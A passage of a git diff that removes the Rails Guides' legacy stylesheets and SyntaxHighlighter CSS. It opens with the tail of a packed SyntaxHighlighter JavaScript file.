");b=J.V("43-22");I(J.V("42-45")==R)a=n(a,b);Y{O(K h="",g=0;g<b;g++)h+=" ";a=a.Q(/\\t/g,h)}a=a;a:{b=a=a;h=/<2R\\s*\\/?>|&1y;2R\\s*\\/?&1G;/2T;I(e.13.46==R)b=b.Q(h,"\\n");I(e.13.44==R)b=b.Q(h,"");b=b.1e("\\n");h=/^\\s*/;g=4Q;O(K i=0;i<b.L&&g>0;i++){K k=b[i];I(x(k).L!=0){k=h.X(k);I(k==N){a=a;1N a}g=1Q.4q(k[0].L,g)}}I(g>0)O(i=0;i<b.L;i++)b[i]=b[i].1o(g);a=b.1K("\\n")}I(1u)d=J.4d(a);b=J.4c(J.2J,a);b=J.4b(a,b);b=J.49(b,d);I(J.V("41-40"))b=E(b);1j 2H!="1d"&&2H.3S&&2H.3S.1C(/5s/)&&c.U("5t");H b=\'<T 1c="\'+t(J.1c)+\'" 1g="\'+c.1K(" ")+\'">\'+(J.V("16")?e.16.1H(J):"")+\'<3Z 5z="0" 5H="0" 5J="0">\'+J.4f(J.V("1t"))+"<3T><3P>"+(1u?\'<2d 1g="1u">\'+J.3Q(a)+"</2d>":"")+\'<2d 1g="17"><T 1g="3O">\'+b+"</T></2d></3P></3T></3Z></T>"},2F:6(a){I(a===N)a="";J.17=a;K b=J.3Y("T");b.3X=J.1H(a);J.V("16")&&w(p(b,".16"),"5c",e.16.2b);J.V("3V-17")&&w(p(b,".17"),"56",f);H b},2Q:6(a){J.1c=""+1Q.5d(1Q.5n()*5k).1q();e.1Y.2A[t(J.1c)]=J;J.1n=C(e.2v,a||{});I(J.V("2k")==R)J.1n.16=J.1n.1u=11},5j:6(a){a=a.Q(/^\\s+|\\s+$/g,"").Q(/\\s+/g,"|");H"\\\\b(?:"+a+")\\\\b"},5f:6(a){J.28={18:{1I:a.18,23:"1k"},1b:{1I:a.1b,23:"1k"},17:1f M("(?<18>"+a.18.1m+")(?<17>.*?)(?<1b>"+a.1b.1m+")","5o")}}};H e}();1j 2e!="1d"&&(2e.1v=1v);',62,441,'||||||function|||||||||||||||||||||||||||||||||||||return|if|this|var|length|XRegExp|null|for|index|replace|true||div|push|getParam|call|exec|else|prototype||false|lastIndex|config|arguments|RegExp|toolbar|code|left|captureNames|slice|right|id|undefined|split|new|class|addToken|indexOf|typeof|script|className|source|params|substr|apply|toString|String|line|title|gutter|SyntaxHighlighter|_xregexp|strings|lt|html|test|OUTSIDE_CLASS|match|brush|document|target|gt|getHtml|regex|global|join|style|highlight|break|concat|window|Math|isRegExp|throw|value|brushes|brushName|space|alert|vars|http|syntaxhighlighter|expandSource|size|css|case|font|Fa|name|htmlScript|dA|can|handler|gm|td|exports|color|in|href|first|discoveredBrushes|light|collapse|object|cache|getButtonHtml|trigger|pattern|getLineHtml|nbsp|numbers|parseInt|defaults|com|items|www|pad|highlighters|execute|focus|func|all|getDiv|parentNode|navigator|INSIDE_CLASS|regexList|hasFlag|Match|useScriptTags|hasNamedCapture|text|help|init|br|input|gi|Error|values|span|list|250|height|width|screen|top|500|tagName|findElements|getElementsByTagName|aboutDialog|_blank|appendChild|charAt|Array|copyAsGlobal|setFlag|highlighter_|string|attachEvent|nodeName|floor|backref|output|the|TypeError|sticky|Za|iterate|freezeTokens|scope|type|textarea|alexgorbatchev|version|margin|2010|005896|gs|regexLib|body|center|align|noBrush|require|childNodes|DTD|xhtml1|head|org|w3|url|preventDefault|container|tr|getLineNumbersHtml|isNaN|userAgent|tbody|isLineHighlighted|quick|void|innerHTML|create|table|links|auto|smart|tab|stripBrs|tabs|bloggerMode|collapsed|plain|getCodeLinesHtml|caption|getMatchesHtml|findMatches|figureOutLineNumbers|removeNestedMatches|getTitleHtml|brushNotHtmlScript|substring|createElement|Highlighter|load|HtmlScript|Brush|pre|expand|multiline|min|Can|ignoreCase|find|blur|extended|toLowerCase|aliases|addEventListener|innerText|textContent|wasn|select|createTextNode|removeChild|option|same|frame|xmlns|dtd|twice|1999|equiv|meta|htmlscript|transitional|1E3|expected|PUBLIC|DOCTYPE|on|W3C|XHTML|TR|EN|Transitional||configured|srcElement|Object|after|run|dblclick|matchChain|valueOf|constructor|default|switch|click|round|execAt|forHtmlScript|token|gimy|functions|getKeywords|1E6|escape|within|random|sgi|another|finally|supply|MSIE|ie|toUpperCase|catch|returnValue|definition|event|border|imsx|constructing|one|Infinity|from|when|Content|cellpadding|flags|cellspacing|try|xhtml|Type|spaces|2930402|hosted_button_id|lastIndexOf|donate|active|development|keep|to|xclick|_s|Xml|please|like|you|paypal|cgi|cmd|webscr|bin|highlighted|scrollbars|aspScriptTags|phpScriptTags|sort|max|scriptScriptTags|toolbar_item|_|command|command_|number|getElementById|doubleQuotedString|singleLinePerlComments|singleLineCComments|multiLineCComments|singleQuotedString|multiLineDoubleQuotedString|xmlComments|alt|multiLineSingleQuotedString|If|https|1em|000|fff|background|5em|xx|bottom|75em|Gorbatchev|large|serif|CDATA|continue|utf|charset|content|About|family|sans|Helvetica|Arial|Geneva|3em|nogutter|Copyright|syntax|close|write|2004|Alex|open|JavaScript|highlighter|July|02|replaceChild|offset|83'.split('|'),0,{}))
diff --git a/railties/guides/assets/stylesheets/fixes.css b/railties/guides/assets/stylesheets/fixes.css
deleted file mode 100644
index 54efa5b9b7..0000000000
--- a/railties/guides/assets/stylesheets/fixes.css
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- Fix a rendering issue affecting WebKits on Mac.
- See https://github.com/lifo/docrails/issues#issue/16 for more information.
-*/
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- line-height: 1.2em !important;
-}
diff --git a/railties/guides/assets/stylesheets/main.css b/railties/guides/assets/stylesheets/main.css
deleted file mode 100644
index cf6e9e5cc8..0000000000
--- a/railties/guides/assets/stylesheets/main.css
+++ /dev/null
@@ -1,445 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Main.css */
-/* Created January 30, 2009 */
-/* Modified February 8, 2009
---------------------------------------- */
-
-/* General
---------------------------------------- */
-
-.left {float: left; margin-right: 1em;}
-.right {float: right; margin-left: 1em;}
-.small {font-size: smaller;}
-.large {font-size: larger;}
-.hide {display: none;}
-
-li ul, li ol { margin:0 1.5em; }
-ul, ol { margin: 0 1.5em 1.5em 1.5em; }
-
-ul { list-style-type: disc; }
-ol { list-style-type: decimal; }
-
-dl { margin: 0 0 1.5em 0; }
-dl dt { font-weight: bold; }
-dd { margin-left: 1.5em;}
-
-pre,code { margin: 1.5em 0; overflow: auto; color: #222;}
-pre,code,tt {
- font-size: 1em;
- font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
- line-height: 1.5;
-}
-
-abbr, acronym { border-bottom: 1px dotted #666; }
-address { margin: 0 0 1.5em; font-style: italic; }
-del { color:#666; }
-
-blockquote { margin: 1.5em; color: #666; font-style: italic; }
-strong { font-weight: bold; }
-em, dfn { font-style: italic; }
-dfn { font-weight: bold; }
-sup, sub { line-height: 0; }
-p {margin: 0 0 1.5em;}
-
-label { font-weight: bold; }
-fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
-legend { font-weight: bold; font-size:1.2em; }
-
-input.text, input.title,
-textarea, select {
- margin:0.5em 0;
- border:1px solid #bbb;
-}
-
-table {
- margin: 0 0 1.5em;
- border: 2px solid #CCC;
- background: #FFF;
- border-collapse: collapse;
-}
-
-table th, table td {
- padding: 0.25em 1em;
- border: 1px solid #CCC;
- border-collapse: collapse;
-}
-
-table th {
- border-bottom: 2px solid #CCC;
- background: #EEE;
- font-weight: bold;
- padding: 0.5em 1em;
-}
-
-
-/* Structure and Layout
---------------------------------------- */
-
-body {
- text-align: center;
- font-family: Helvetica, Arial, sans-serif;
- font-size: 87.5%;
- line-height: 1.5em;
- background: #222;
- color: #999;
- }
-
-.wrapper {
- text-align: left;
- margin: 0 auto;
- width: 69em;
- }
-
-#topNav {
- padding: 1em 0;
- color: #565656;
-}
-
-#header {
- background: #c52f24 url(../images/header_tile.gif) repeat-x;
- color: #FFF;
- padding: 1.5em 0;
- position: relative;
- z-index: 99;
- }
-
-#feature {
- background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
- color: #333;
- padding: 0.5em 0 1.5em;
-}
-
-#container {
- background: #FFF;
- color: #333;
- padding: 0.5em 0 1.5em 0;
- }
-
-#mainCol {
- width: 45em;
- margin-left: 2em;
- }
-
-#subCol {
- position: absolute;
- z-index: 0;
- top: 0;
- right: 0;
- background: #FFF;
- padding: 1em 1.5em 1em 1.25em;
- width: 17em;
- font-size: 0.9285em;
- line-height: 1.3846em;
- }
-
-#extraCol {display: none;}
-
-#footer {
- padding: 2em 0;
- background: url(../images/footer_tile.gif) repeat-x;
- }
-#footer .wrapper {
- padding-left: 2em;
- width: 67em;
-}
-
-#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
-#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
-
-/* Links
---------------------------------------- */
-
-a, a:link, a:visited {
- color: #ee3f3f;
- text-decoration: underline;
- }
-
-#mainCol a, #subCol a, #feature a {color: #980905;}
-
-
-/* Navigation
---------------------------------------- */
-
-.nav {margin: 0; padding: 0;}
-.nav li {display: inline; list-style: none;}
-
-#header .nav {
- float: right;
- margin-top: 1.5em;
- font-size: 1.2857em;
-}
-
-#header .nav li {margin: 0 0 0 0.5em;}
-#header .nav a {color: #FFF; text-decoration: none;}
-#header .nav a:hover {text-decoration: underline;}
-
-#header .nav .index {
- padding: 0.5em 1.5em;
- border-radius: 1em;
- -webkit-border-radius: 1em;
- -moz-border-radius: 1em;
- background: #980905;
- position: relative;
-}
-
-#header .nav .index a {
- background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
- padding-right: 1em;
- position: relative;
- z-index: 15;
- padding-bottom: 0.125em;
-}
-#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
-
-#guides {
- width: 27em;
- display: block;
- background: #980905;
- border-radius: 1em;
- -webkit-border-radius: 1em;
- -moz-border-radius: 1em;
- -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
- -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
- color: #f1938c;
- padding: 1.5em 2em;
- position: absolute;
- z-index: 10;
- top: -0.25em;
- right: 0;
- padding-top: 2em;
-}
-
-#guides dt, #guides dd {
- font-weight: normal;
- font-size: 0.722em;
- margin: 0;
- padding: 0;
-}
-#guides dt {padding:0; margin: 0.5em 0 0;}
-#guides a {color: #FFF; background: none !important;}
-#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
-#guides .R {float: right;}
-#guides hr {
- display: block;
- border: none;
- height: 1px;
- color: #f1938c;
- background: #f1938c;
-}
-
-/* Headings
---------------------------------------- */
-
-h1 {
- font-size: 2.5em;
- line-height: 1em;
- margin: 0.6em 0 .2em;
- font-weight: bold;
- }
-
-h2 {
- font-size: 2.1428em;
- line-height: 1em;
- margin: 0.7em 0 .2333em;
- font-weight: bold;
- }
-
-h3 {
- font-size: 1.7142em;
- line-height: 1.286em;
- margin: 0.875em 0 0.2916em;
- font-weight: bold;
- }
-
-h4 {
- font-size: 1.2857em;
- line-height: 1.2em;
- margin: 1.6667em 0 .3887em;
- font-weight: bold;
- }
-
-h5 {
- font-size: 1em;
- line-height: 1.5em;
- margin: 1em 0 .5em;
- font-weight: bold;
-}
-
-h6 {
- font-size: 1em;
- line-height: 1.5em;
- margin: 1em 0 .5em;
- font-weight: normal;
- }
-
-.section {
- padding-bottom: 0.25em;
- border-bottom: 1px solid #999;
-}
-
-/* Content
---------------------------------------- */
-
-.pic {
- margin: 0 2em 2em 0;
-}
-
-#topNav strong {color: #999; margin-right: 0.5em;}
-#topNav strong a {color: #FFF;}
-
-#header h1 {
- float: left;
- background: url(../images/rails_guides_logo.gif) no-repeat;
- width: 297px;
- text-indent: -9999em;
- margin: 0;
- padding: 0;
-}
-
-#header h1 a {
- text-decoration: none;
- display: block;
- height: 77px;
-}
-
-#feature p {
- font-size: 1.2857em;
- margin-bottom: 0.75em;
-}
-
-#feature ul {margin-left: 0;}
-#feature ul li {
- list-style: none;
- background: url(../images/check_bullet.gif) no-repeat left 0.5em;
- padding: 0.5em 1.75em 0.5em 1.75em;
- font-size: 1.1428em;
- font-weight: bold;
-}
-
-#mainCol dd, #subCol dd {
- padding: 0.25em 0 1em;
- border-bottom: 1px solid #CCC;
- margin-bottom: 1em;
- margin-left: 0;
- /*padding-left: 28px;*/
- padding-left: 0;
-}
-
-#mainCol dt, #subCol dt {
- font-size: 1.2857em;
- padding: 0.125em 0 0.25em 0;
- margin-bottom: 0;
- /*background: url(../images/book_icon.gif) no-repeat left top;
- padding: 0.125em 0 0.25em 28px;*/
-}
-
-#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
- background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
- border: none;
- padding: 1.25em 1em 1.25em 48px;
- margin-left: 0;
- margin-top: 0.25em;
-}
-
-#mainCol div.warning, #subCol dd.warning {
- background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
- border: none;
- padding: 1.25em 1.25em 1.25em 48px;
- margin-left: 0;
- margin-top: 0.25em;
-}
-
-#subCol .chapters {color: #980905;}
-#subCol .chapters a {font-weight: bold;}
-#subCol .chapters ul a {font-weight: normal;}
-#subCol .chapters li {margin-bottom: 0.75em;}
-#subCol h3.chapter {margin-top: 0.25em;}
-#subCol h3.chapter img {vertical-align: text-bottom;}
-#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
-#subCol .chapters ul li {
- list-style: none;
- padding: 0 0 0 1em;
- background: url(../images/bullet.gif) no-repeat left 0.45em;
- margin-left: 0;
- font-size: 1em;
- font-weight: normal;
-}
-
-div.code_container {
- background: #EEE url(../images/tab_grey.gif) no-repeat left top;
- padding: 0.25em 1em 0.5em 48px;
-}
-
-.note {
- background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
- border: none;
- padding: 1em 1em 0.25em 48px;
- margin: 0.25em 0 1.5em 0;
-}
-
-.info {
- background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
- border: none;
- padding: 1em 1em 0.25em 48px;
- margin: 0.25em 0 1.5em 0;
-}
-
-.note tt, .info tt {border:none; background: none; padding: 0;}
-
-#mainCol ul li {
- list-style:none;
- background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
- padding-left: 1em;
- margin-left: 0;
-}
-
-#subCol .content {
- font-size: 0.7857em;
- line-height: 1.5em;
-}
-
-#subCol .content li {
- font-weight: normal;
- background: none;
- padding: 0 0 1em;
- font-size: 1.1667em;
-}
-
-/* Clearing
---------------------------------------- */
-
-.clearfix:after {
- content: ".";
- display: block;
- height: 0;
- clear: both;
- visibility: hidden;
-}
-
-.clearfix {display: inline-block;}
-* html .clearfix {height: 1%;}
-.clearfix {display: block;}
-.clear { clear:both; }
-
-/* Same bottom margin for special boxes than for regular paragraphs, this way
-intermediate whitespace looks uniform. */
-div.code_container, div.important, div.caution, div.warning, div.note, div.info {
- margin-bottom: 1.5em;
-}
-
-/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
-spurious blank area below with the box background. */
-div.important p, div.caution p, div.warning p, div.note p, div.info p {
- margin-bottom: 1em;
-}
-
-/* Edge Badge
---------------------------------------- */
-
-#edge-badge {
- position: fixed;
- right: 0px;
- top: 0px;
- z-index: 100;
- border: none;
-}
diff --git a/railties/guides/assets/stylesheets/print.css b/railties/guides/assets/stylesheets/print.css
deleted file mode 100644
index 628da105d4..0000000000
--- a/railties/guides/assets/stylesheets/print.css
+++ /dev/null
@@ -1,52 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Print.css */
-/* Created January 30, 2009 */
-/* Modified January 31, 2009
---------------------------------------- */
-
-body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
-
-body {
- background: #FFF;
- font-size: 10pt !important;
- font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
- line-height: 1.5;
- color: #000;
- padding: 0 3%;
- }
-
-.hide, .nav {
- display: none !important;
- }
-
-a:link, a:visited {
- background: transparent;
- font-weight: bold;
- text-decoration: underline;
- }
-
-hr {
- background:#ccc;
- color:#ccc;
- width:100%;
- height:2px;
- margin:2em 0;
- padding:0;
- border:none;
-}
-
-h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
-code { font:.9em "Courier New", Monaco, Courier, monospace; }
-
-img { float:left; margin:1.5em 1.5em 1.5em 0; }
-a img { border:none; }
-
-blockquote {
- margin:1.5em;
- padding:1em;
- font-style:italic;
- font-size:.9em;
-}
-
-.small { font-size: .9em; }
-.large { font-size: 1.1em; }
diff --git a/railties/guides/assets/stylesheets/reset.css b/railties/guides/assets/stylesheets/reset.css
deleted file mode 100644
index cb14fbcc55..0000000000
--- a/railties/guides/assets/stylesheets/reset.css
+++ /dev/null
@@ -1,43 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Reset.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-html, body, div, span, applet, object, iframe,
-h1, h2, h3, h4, h5, h6, p, blockquote, pre,
-a, abbr, acronym, address, big, cite, code,
-del, dfn, em, font, img, ins, kbd, q, s, samp,
-small, strike, strong, sub, sup, tt, var,
-b, u, i, center,
-dl, dt, dd, ol, ul, li,
-fieldset, form, label, legend,
-table, caption, tbody, tfoot, thead, tr, th, td {
- margin: 0;
- padding: 0;
- border: 0;
- outline: 0;
- font-size: 100%;
- background: transparent;
-}
-
-body {line-height: 1; color: black; background: white;}
-a img {border:none;}
-ins {text-decoration: none;}
-del {text-decoration: line-through;}
-
-:focus {
- -moz-outline:0;
- outline:0;
- outline-offset:0;
-}
-
-/* tables still need 'cellspacing="0"' in the markup */
-table {border-collapse: collapse; border-spacing: 0;}
-caption, th, td {text-align: left; font-weight: normal;}
-
-blockquote, q {quotes: none;}
-blockquote:before, blockquote:after,
-q:before, q:after {
- content: '';
- content: none;
-}
diff --git a/railties/guides/assets/stylesheets/style.css b/railties/guides/assets/stylesheets/style.css
deleted file mode 100644
index 89b2ab885a..0000000000
--- a/railties/guides/assets/stylesheets/style.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Style.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-/*
----------------------------------------
-Import advanced style sheet
----------------------------------------
-*/
-
-@import url("reset.css");
-@import url("main.css");
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css
deleted file mode 100644
index 34f6864a15..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCore.css
+++ /dev/null
@@ -1,226 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
deleted file mode 100644
index 08f9e10e4e..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
+++ /dev/null
@@ -1,328 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
